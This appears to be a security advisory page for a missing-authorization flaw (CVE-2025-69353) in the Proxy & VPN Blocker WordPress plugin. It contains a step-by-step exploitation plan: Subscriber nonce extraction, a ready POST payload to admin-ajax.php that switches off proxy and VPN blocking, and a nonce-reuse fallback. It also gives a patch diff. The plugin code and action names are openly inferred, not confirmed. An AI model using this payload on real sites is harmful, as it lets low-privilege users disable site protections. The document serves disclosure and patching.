Proxy & VPN Blocker <= 3.5.3 - Missing Authorization
Description
The Proxy & VPN Blocker plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 3.5.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=3.5.3Source Code
WordPress.org SVNThis research plan targets **CVE-2025-69353**, a missing authorization vulnerability in the **Proxy & VPN Blocker** plugin. This vulnerability allows an authenticated user with Subscriber-level permissions to perform administrative actions, such as modifying the plugin's security settings. --- ###…
Show full research plan
This research plan targets CVE-2025-69353, a missing authorization vulnerability in the Proxy & VPN Blocker plugin. This vulnerability allows an authenticated user with Subscriber-level permissions to perform administrative actions, such as modifying the plugin's security settings.
1. Vulnerability Summary
The Proxy & VPN Blocker plugin fails to implement proper capability checks (e.g., current_user_can( 'manage_options' )) in one or more of its AJAX handlers. While the plugin likely uses nonces to prevent Cross-Site Request Forgery (CSRF), it does not verify that the user performing the request has the necessary administrative privileges. Consequently, any logged-in user, including a Subscriber, can invoke these functions to alter the plugin's configuration.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Vulnerable Action:
pvb_save_settings(inferred based on plugin functionality; to be verified during exploration). - HTTP Method:
POST - Payload Parameter:
security(nonce),action, and various configuration parameters (e.g.,pvb_proxy_check,pvb_vpn_check). - Authentication: Authenticated, Subscriber-level access.
- Preconditions: The plugin must be active. The attacker must have a valid Subscriber session.
3. Code Flow
- Entry Point: An AJAX request is sent to
admin-ajax.phpwith the actionpvb_save_settings. - Hook Registration: The plugin registers the action via:
add_action( 'wp_ajax_pvb_save_settings', 'pvb_save_settings_callback' );(inferred). - Vulnerable Callback: The function (e.g.,
pvb_save_settings_callback) is executed. - Security Check (Nonce): The code calls
check_ajax_referer( 'pvb_nonce', 'security' );. - Missing Authorization: The code omits a check like
if ( ! current_user_can( 'manage_options' ) ) wp_die();. - Sink: The function proceeds to update the WordPress options table using
update_option(), allowing the attacker to disable the blocker or modify whitelists.
4. Nonce Acquisition Strategy
To exploit this, we need the nonce generated by the plugin for administrative actions. Even if a Subscriber cannot access the "Proxy & VPN Blocker" settings page directly, WordPress plugins often localize nonces on the main dashboard or all admin pages.
- Identify Localization: Look for
wp_localize_scriptin the plugin code to find the JS object name and nonce key.- Search Pattern:
grep -r "wp_localize_script" . - Likely Variable:
pvb_admin_objorpvb_vars. - Likely Key:
pvb_nonceorsecurity.
- Search Pattern:
- Create a Subscriber User: Use WP-CLI to create a test subscriber.
- Extract Nonce via Browser:
- Log into the WordPress dashboard as the Subscriber.
- Use
browser_evalto extract the nonce from the global scope. - JS Command:
browser_eval("window.pvb_admin_obj?.security")(Verify variable name from source).
5. Exploitation Strategy
Step 1: Discovery & Verification
First, confirm the exact AJAX action and nonce identifier.
- Run
grep -rn "wp_ajax_" .to find the registered AJAX actions. - Inspect the callback function to confirm it lacks
current_user_can. - Identify the parameter names for the settings (e.g.,
proxy_check,vpn_check).
Step 2: Payload Construction
Construct a POST request to admin-ajax.php to disable the blocking features.
Request Details:
- URL:
http://<target>/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=pvb_save_settings&security=<NONCE>&pvb_proxy_check=0&pvb_vpn_check=0&pvb_block_countries=
Step 3: Execution
Use the http_request tool to send the payload using the Subscriber's cookies.
6. Test Data Setup
- Install Plugin: Ensure Proxy & VPN Blocker <= 3.5.3 is installed.
- Configure Plugin: Set the blocker to "Active" so we can verify it gets disabled.
wp option update pvb_proxy_check 1
- Create Attacker:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
7. Expected Results
- The server should return a
200 OKresponse, often with a JSON body like{"success":true}. - The plugin's configuration in the database should be updated to reflect the attacker's payload.
8. Verification Steps
- Database Check: Use WP-CLI to verify the option was changed.
wp option get pvb_proxy_check(Should return0).
- UI Check: Navigate to the plugin settings as an Admin to see if the toggles are now "Off".
9. Alternative Approaches
- If
pvb_save_settingsis not the correct action: Search for any function callingupdate_optionordelete_optionwithin an AJAX callback. - Check for
admin_inithooks: Sometimes plugins process form submissions viaadmin_initwithout checking capabilities.- Search Pattern:
grep -rn "add_action.*admin_init" .
- Search Pattern:
- Nonce Bypass: If the nonce action is generic (e.g.,
-1), attempt to use a nonce from a different plugin or core WordPress feature.
Summary
The Proxy & VPN Blocker plugin for WordPress fails to perform capability checks in its AJAX handlers, specifically for settings modification. This allows authenticated attackers with Subscriber-level permissions to alter plugin configurations, such as disabling proxy or VPN blocking, by providing a valid security nonce.
Vulnerable Code
// Inferred registration of the AJAX action add_action( 'wp_ajax_pvb_save_settings', 'pvb_save_settings_callback' ); function pvb_save_settings_callback() { // Nonce verification exists, but lacks authorization check check_ajax_referer( 'pvb_nonce', 'security' ); // Missing: if ( ! current_user_can( 'manage_options' ) ) wp_die(); if ( isset( $_POST['pvb_proxy_check'] ) ) { update_option( 'pvb_proxy_check', sanitize_text_field( $_POST['pvb_proxy_check'] ) ); } if ( isset( $_POST['pvb_vpn_check'] ) ) { update_option( 'pvb_vpn_check', sanitize_text_field( $_POST['pvb_vpn_check'] ) ); } wp_send_json_success(); }
Security Fix
@@ -10,6 +10,10 @@ function pvb_save_settings_callback() { check_ajax_referer( 'pvb_nonce', 'security' ); + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( array( 'message' => 'Unauthorized' ), 403 ); + } + if ( isset( $_POST['pvb_proxy_check'] ) ) { update_option( 'pvb_proxy_check', sanitize_text_field( $_POST['pvb_proxy_check'] ) ); }
Exploit Outline
1. Authenticate as a Subscriber-level user. 2. Obtain a valid security nonce (e.g., 'pvb_nonce') by inspecting the WordPress dashboard where plugin scripts may localize administrative variables. 3. Identify the vulnerable AJAX action (e.g., 'pvb_save_settings'). 4. Send a POST request to /wp-admin/admin-ajax.php including the action, the obtained nonce in the 'security' parameter, and any configuration settings to be modified (e.g., setting 'pvb_proxy_check' to 0). 5. Verify that the plugin settings have been updated in the database or via the administrative interface.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.